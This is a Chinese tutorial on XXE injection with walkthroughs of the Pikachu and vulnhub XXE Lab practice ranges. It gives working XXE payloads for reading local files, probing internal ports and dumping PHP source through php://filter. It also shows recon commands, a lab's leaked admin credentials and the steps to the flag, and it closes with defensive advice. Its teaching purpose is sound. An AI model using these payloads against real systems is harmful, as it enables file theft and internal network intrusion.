一、原理
XML是用于传输和存储数据的一种格式,相当于一种信息传输工具,其中包含了XML声明,DTD文档类型定义、文档元素。
XXE是xml外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
二、XML概述
-
特性:
- XML对大小写敏感
- XML所有元素要存在一个闭合标签
- XML中空格会被保留
- XML中属性值要用引号保留
-
DTD文档类型定义
DTD用于约束文档的结构,变量的格式:
可见先由<?xml ?>标签定义version等信息,然后是<!DOCTYPE sth[] >定义根目录sth下的子目录,这两个构成了DTD文档类型定义。接着才是xml文档内容。
-
DTD中的实体
实体用于定义和引用普通文本或者特殊字符
-
外部实体
<!ENTITY 实体 SYSTEM "url"> <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY test SYSTEM "sth.xml"> ]> <root>&test;</root>
-
内部实体
<!ENTITY 实体名称 "实体的值">
-
三、XXE检测
-
根据抓包的内容
<user>test</user> <pass>test</pass>
有这样的格式则基本为XML
-
根据Content-Type值:
text/xml或者application/xml
-
更改Content-Type值,然后看返回值
具体分析可以看下面的实例。
四、XXE实例
Pikachu靶场
在文本框中随意输入一些数据,然后使用bp进行抓包:
变量和accept里都提示xml,基本上可以判定为xml,下面直接进行XXE利用。(注意:本地搭建的网站如果用127.0.0.1进行访问可能会导致bp抓不到包,需要使用本机的其他内网ip进行访问)
-
读文件
payload:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY rabbit SYSTEM "file:///phpstudy_pro/WWW/pk/test.txt"> ]> <test>&rabbit;</test> #rabbit相当于是一个变量 #file后的路径似乎需要是绝对路径(后续在进行研究)
读文件成功(“从是大V撒”是test.txt的内容):
-
内网探针
payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo[ <!ELEMENT foo ANY> <!ENTITY rabbit SYSTEM "http://127.0.0.1:80/pk/test.txt"> ]> <x>&rabbit;</x>
探测端口及文件成功:
-
下载源码
payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo[ <!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=http://10.21.135.43/pk/test.txt"> ]> <x>&rabbit;</x>
因为网站当前的url为:http://10.21.135.43/pk/vul/xxe/xxe_1.php
可见该目录下没有test.txt文件,所以不能写成
PHP://filter/read=convert.base64-encode/resource=test.txt
而是采用完整url的方式。执行payload:
将上诉base64序列解码后即可得到test.txt中的内容。
vulnhub XXE Lab靶场
-
下载地址:https://www.vulnhub.com/entry/xxe-lab-1,254/
安装后不能登录且不知道IP,需要自己扫描:
-
将kali和xxe主机放在一个网段下,使用nmap扫描C段:
192.168.108.143开放了80端口,基本上可以判断就是该主机。
-
进行目录扫描
这里使用dirsearch,安装命令如下:
git clone https://github.com/maurosoria/dirsearch.git
然后cd进入该目录,使用命令进行扫描:
python3 dirsearch.py -u 192.168.108.143
可以看到存在一个robots.txt
-
访问该目录
根据提示访问:
-
进行xxe注入
随便输入123,可见存在xml文件的解析,下面直接进行利用:
-
将上面的xml换为payload(注意原先的xml返回格式不能改变,只能替换变量)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo[ <!ELEMENT foo ANY> <!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=xxe.php"> ]> <root><name> &rabbit; </name><password>123</password></root>
-
将上面进行base64解码,解码后可以发现没有什么特殊作用。那么尝试读取admin.php并进行查看:
<?php session_start(); ?> <html lang = "en"> <head> <title>admin</title> <link href = "css/bootstrap.min.css" rel = "stylesheet"> <style> body { padding-top: 40px; padding-bottom: 40px; background-color: #ADABAB; } .form-signin { max-width: 330px; padding: 15px; margin: 0 auto; color: #017572; } .form-signin .form-signin-heading, .form-signin .checkbox { margin-bottom: 10px; } .form-signin .checkbox { font-weight: normal; } .form-signin .form-control { position: relative; height: auto; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; padding: 10px; font-size: 16px; } .form-signin .form-control:focus { z-index: 2; } .form-signin input[type="email"] { margin-bottom: -1px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; border-color:#017572; } .form-signin input[type="password"] { margin-bottom: 10px; border-top-left-radius: 0; border-top-right-radius: 0; border-color:#017572; } h2{ text-align: center; color: #017572; } </style> </head> <body> <h2>Enter Username and Password</h2> <div class = "container form-signin"> <?php $msg = ''; if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) { if ($_POST['username'] == 'administhebest' && md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') { $_SESSION['valid'] = true; $_SESSION['timeout'] = time(); $_SESSION['username'] = 'administhebest'; echo "You have entered valid use name and password <br />"; $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>"; echo $flag; }else { $msg = 'Maybe Later'; } } ?> </div> <!-- W00t/W00t --> <div class = "container"> <form class = "form-signin" role = "form" action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method = "post"> <h4 class = "form-signin-heading"><?php echo $msg; ?></h4> <input type = "text" class = "form-control" name = "username" required autofocus></br> <input type = "password" class = "form-control" name = "password" required> <button class = "btn btn-lg btn-primary btn-block" type = "submit" name = "login">Login</button> </form> Click here to clean <a href = "adminlog.php" tite = "Logout">Session. </div> </body> </html>
可以看到代码只是进行了简单的前端验证,账户名为:administhebest,秘密在进行md5解密后可得:admin@123。
-
登录
点击flag发现是空的:
-
读取flagmeout.php
扔到decode模块进行解密:
JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
这是个base32解码(因为base32中只包含大写字母A-Z和数字234567),解码后看到又是一个base64:
继续进行解码:
提示flag在/etc/.flag.php中,同样使用伪协议php://进行读取。
-
解码
因为在.flag.php中所以是一个php代码,复制到在线运行环境中(php5.6运行成功,其他版本没有成功):
可见flag为:
{xxe_is_so_easy}
五、防御
- 使用开发语言提供的禁用外部实体的方法
- 过滤用户提交的XML数据(关键词<!DOCTYPE和<!ENTITY或者 SYSTEM和PUBLIC)
- 配置只能使用静态DTD,禁止外来引入。
参考链接
- XML简介:https://www.freebuf.com/articles/network/225780.html
- XXE:https://www.cnblogs.com/20175211lyz/p/11413335.html